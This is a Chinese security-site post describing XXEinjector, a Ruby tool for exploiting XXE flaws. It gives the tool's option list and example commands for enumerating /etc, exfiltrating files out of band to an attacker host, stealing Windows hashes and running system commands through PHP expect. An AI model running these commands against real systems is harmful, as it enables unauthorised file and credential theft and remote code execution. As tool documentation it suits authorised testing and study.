XXEinjector 自动开发XXE漏洞的工具

  • XXEinjector 自动开发XXE漏洞的工具已关闭评论
  • A+
所属分类:网络安全文章

XXEinjector使用直接和带外方法自动检索文件。目录列表仅适用于Java应用程序。Bruteforcing方法需要用于其他应用程序。

XXEinjector 自动开发XXE漏洞的工具

选项

  1. --host     Mandatory - our IP address for reverse connections. (--host=192.168.0.2)
  2. --file     Mandatory - file containing valid HTTP request with xml. You can also mark
  3.             with "XXEINJECT" a point where DTD should be injected. (--file=/tmp/req.txt)
  4. --path     Mandatory if enumerating directories - Path to enumerate. (--path=/etc)
  5. --brute     Mandatory if bruteforcing files - File with paths to bruteforce.
  6.             (--brute=/tmp/brute.txt)
  7. --logger    Log results only. Do not send requests. HTTP logger looks for "p" parameter
  8.             with results.
  9. --rhost     Remote host's IP address or domain name. Use this argument only for requests
  10.             without Host header. (--rhost=192.168.0.3)
  11. --rport     Remote host's TCP port. Use this argument only for requests without Host
  12.             header and for non-default values. (--rport=8080)
  13. --oob       Out of Band exploitation method. FTP is default. FTP can be used in any
  14.             application. HTTP can be used for bruteforcing and enumeration through
  15.             directory listing in Java < 1.7 applications. Gopher can only be used in
  16.             Java < 1.7 applications. (--oob=http/ftp/gopher)
  17. --direct    Use direct exploitation instead of out of band. Unique mark should be
  18.             specified as a value for this argument. This mark specifies where results
  19.             of XXE start and end. Specify --xml to see how XML in request file should
  20.             look like. (--direct=UNIQUEMARK)
  21. --cdata     Improve direct exploitation with CDATA. Data is retrieved directly, however
  22.             OOB is used to construct CDATA payload. Specify --cdata-xml to see how
  23.             request should look like in this technique.
  24. --2ndfile   File containing valid HTTP request used in second order exploitation.
  25.             (--2ndfile=/tmp/2ndreq.txt)
  26. --phpfilter Use PHP filter to base64 encode target file before sending.
  27. --netdoc    Use netdoc protocol instead of file (Java).
  28. --enumports Enumerating unfiltered ports for reverse connection. Specify value "all" to
  29.             enumerate all TCP ports. (--enumports=21,22,80,443,445)
  30. --hashes    Steals Windows hash of the user that runs an application.
  31. --expect    Uses PHP expect extension to execute arbitrary system command. Best works
  32.             with HTTP and PHP filter. (--expect=ls)
  33. --upload    Uploads specified file using Java jar schema into temp file.
  34.             (--upload=/tmp/upload.txt)
  35. --xslt     Tests for XSLT injection.
  36. --ssl       Use SSL.
  37. --proxy     Proxy to use. (--proxy=127.0.0.1:8080)
  38. --httpport  Set custom HTTP port. (--httpport=80)
  39. --ftpport   Set custom FTP port. (--ftpport=21)
  40. --gopherport Set custom gopher port. (--gopherport=70)
  41. --jarport    Set custom port for uploading files using jar. (--jarport=1337)
  42. --xsltport   Set custom port for XSLT injection test. (--xsltport=1337)
  43. --test     This mode shows request with injected payload and quits. Used to verify
  44.             correctness of request without sending it to a server.
  45. --urlencode URL encode injected DTD. This is default for URI.
  46. --nodtd     If you want to put DTD in request by yourself. Specify "--dtd" to show
  47.             how DTD should look like.
  48. --output    Output file for bruteforcing and logger mode. By default it logs to
  49.             brute.log in current directory. (--output=/tmp/out.txt)
  50. --timeout   Timeout for receiving file/directory content. (--timeout=20)
  51. --contimeout Timeout for closing connection with server. This is used to prevent
  52.                 DoS condition. (--contimeout=20)
  53. --fast     Skip asking what to enumerate. Prone to false-positives.
  54. --verbose   Show verbose messages.

用法举例

  1. Enumerating /etc directory in HTTPS application:
  2. ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
  3. Enumerating /etc directory using gopher for OOB method:
  4. ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
  5. Second order exploitation:
  6. ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt
  7. --2ndfile=/tmp/2ndreq.txt
  8. Bruteforcing files using HTTP out of band method and netdoc protocol:
  9. ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt
  10. --oob=http --netdoc
  11. Enumerating using direct exploitation:
  12. ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
  13. Enumerating unfiltered ports:
  14. ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
  15. Stealing Windows hashes:
  16. ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
  17. Uploading files using Java jar:
  18. ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
  19. Executing system commands using PHP expect:
  20. ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter
  21. --expect=ls
  22. Testing for XSLT injection:
  23. ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
  24. Log requests only:
  25. ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt

下载

部分内容被隐藏
需登陆后可查看
CE安全网